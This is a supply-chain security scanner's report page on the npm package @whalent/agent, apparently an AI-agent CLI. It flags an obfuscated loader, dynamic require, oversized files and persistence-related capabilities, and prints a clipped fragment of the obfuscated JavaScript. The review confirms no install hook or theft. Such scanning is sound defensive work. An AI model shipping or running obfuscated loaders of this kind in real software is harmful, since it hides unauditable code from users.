Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Loading npm security reports…

@whalent/agent@0.3.365: Suspicious npm security report (Warn) | LPM Firewall

Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Flagged — allowed with a warning

Allowed by default policy, but 12 finding(s) warrant review before installing.

View on npm All versions

registry / @whalent/agent / 0.3.365

@whalent/agent@0.3.365

Stable wrapper for Whalent Agent core runtime

AI Security Review

scanned 1d ago · by lpm-firewall-ai

Running the `whalent` CLI activates opaque code that can manage subprocesses, updates, and persistence-related behavior. No install-time attack surface was confirmed.

Static reason

One or more suspicious static signals were detected.

Trigger

User runs the `whalent` command.

Impact

Runtime actions cannot be independently audited from the shipped JavaScript.

Mechanism

Obfuscated agent runtime with subprocess, update, and persistence capabilities.

Rationale

Obfuscation plus privileged agent-runtime capabilities is a real unresolved supply-chain risk, but the inspected manifest lacks install hooks and no concrete malicious chain was verified.

Evidence

package.jsondist/index.cjsdist/core.cjsdist/jupyter_sidecar.py

Decision evidence

public snapshot

AI called this Suspicious at 86.0% confidence as Dangerous Capability with medium false-positive risk.

Evidence for warning

Both shipped Node executables are wholly obfuscated, preventing reliable source-level verification of their process, update, and persistence behavior.
The manifest exposes the obfuscated wrapper as the `whalent` CLI.

© 2026 LPM Firewall

Product

Threat feed How it works Policy

LPM

LPM.dev Registry

The wrapper source references child-process spawning, environment handling, update checks, and persistence prompting.

Evidence against

No preinstall, install, or postinstall lifecycle hook is declared.
The readable Python sidecar is an NDJSON Jupyter-kernel controller invoked through explicit RPC methods.
No concrete credential theft, secret exfiltration, destructive action, or install-time foreign AI-agent configuration mutation was confirmed.

Behavioral surface

Source

DynamicRequireEnvironmentVarsFilesystem

Supply chain

HighEntropyStringsMinifiedPossibleObfuscationTrivial

Manifest

NoLicense

scanned 1 file(s), 429 KB of source

Oversized source lightweight scan

dist/core.cjs14.7 MB file, sampled 256 KB

EnvironmentVarsDynamicRequirePossibleObfuscationHighEntropyStringsMinified

Source & flagged code

5 flagged · loading source

dist/index.cjsView file

1#!/usr/bin/env node L2: 'use strict';(function(_0x188818,_0x210d8f){function _0x36cf37(_0x4c68a0,_0x24d243,_0x4d7926,_0x37dd0d){return a0_0x220c(_0x4c68a0- -0x1c7,_0x4d7926);}function _0x5d928c(_0x5a183a,...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/index.cjsView on unpkg · L1

1#!/usr/bin/env node L2: 'use strict';(function(_0x188818,_0x210d8f){function _0x36cf37(_0x4c68a0,_0x24d243,_0x4d7926,_0x37dd0d){return a0_0x220c(_0x4c68a0- -0x1c7,_0x4d7926);}function _0x5d928c(_0x5a183a,...

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/index.cjsView on unpkg · L1

dist/jupyter_sidecar.pyView file

•path = dist/jupyter_sidecar.py kind = build_helper sizeBytes = 18590 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

dist/jupyter_sidecar.pyView on unpkg

dist/core.cjsView file

•path = dist/core.cjs kind = oversized_source_file sizeBytes = 15392943 magicHex = [redacted]

Medium

Oversized Source File

Package contains source files above the normal full-analysis size ceiling.

dist/core.cjsView on unpkg

•path = dist/core.cjs kind = oversized_cli_entrypoint sizeBytes = 15392943 magicHex = [redacted]

Medium

Oversized Cli Entrypoint

Package contains an oversized executable-looking CLI entrypoint.

dist/core.cjsView on unpkg

Findings

1 High6 Medium5 Low

HighObfuscated Payload Loaderdist/index.cjs

MediumDynamic Requiredist/index.cjs

MediumEnvironment Vars

MediumShips Build Helperdist/jupyter_sidecar.py

MediumOversized Source Filedist/core.cjs

MediumOversized Cli Entrypointdist/core.cjs

MediumStructural Risk Force Deep Review

LowNon Install Lifecycle Scripts

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowNo License

86%Warn

Verdict confidence

IntentDangerous Capability

TypePersistence

False-positive riskMedium

Review stagesource_first_review

Firewall policyMatched warn-list

Package metadata

npm

Maintainerswhalent

Version0.3.365

PublishedAug 24, 2026

LicenseUNLICENSED

Dependencies12

Integrityverified

Package size5.66 MB

Files5

Keywordswhalentagentcodexclaudekimiacpai

Runtime surface

package.json

Entrypointsmain → dist/index.cjsbin → whalent

Runtimenode >=20.0.0

Artifact14.9 MB · 5 files1 signature(s)

Install lifecycleprepublishOnly

Behavioral surface

DynamicRequireEnvironmentVarsFilesystemHighEntropyStringsMinifiedPossibleObfuscationTrivialNoLicense

LPM CLI

Source & flagged code

5 flagged

dist/index.cjsView file

Lines 1-2javascript

1#!/usr/bin/env node

2'use strict';(function(_0x188818,_0x210d8f){function _0x36cf37(_0x4c68a0,_0x24d243,_0x4d7926,_0x37dd0d){return a0_0x220c(_0x4c68a0- -0x1c7,_0x4d7926);}function _0x5d928c(_0x5a183a,_0x1f82c6,_0x173d92,_0x2f9363){return a0_0x220c(_0x1f82c6-0x1f0,_0x5a183a);}const _0x3d72b0=_0x188818();while(!![]){try{const _0x3dae48=-parseInt(_0x5d928c('0vCX',0x4e8,0x249,0x4c6))/(0x879+0x22f*0x3+-0xf05*0x1)+-parseInt(_0x5d928c('(6Ks',0x3ce,0x2c5,0x525))/(0x235f+0xf86+-0x1*0x32e3)+parseInt(_0x36cf37(0x379,0x475,'e&pY',0x4a3))/(-0x16*-0x1+0xe55*-0x2+0x1c97)+parseInt(_0x5d928c('sA2Z',0x668,0x923,0x30b))/(0x1*-0x1c3 ...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/index.cjsView on unpkg · L1

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/index.cjsView on unpkg · L1

Long lines were clipped for display.

dist/jupyter_sidecar.pyView file

•path = dist/jupyter_sidecar.py kind = build_helper sizeBytes = 18590 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

dist/jupyter_sidecar.pyView on unpkg

dist/core.cjsView file

•path = dist/core.cjs kind = oversized_source_file sizeBytes = 15392943 magicHex = [redacted]

Medium

Oversized Source File

Package contains source files above the normal full-analysis size ceiling.

dist/core.cjsView on unpkg

•path = dist/core.cjs kind = oversized_cli_entrypoint sizeBytes = 15392943 magicHex = [redacted]

Medium

Oversized Cli Entrypoint

Package contains an oversized executable-looking CLI entrypoint.

dist/core.cjsView on unpkg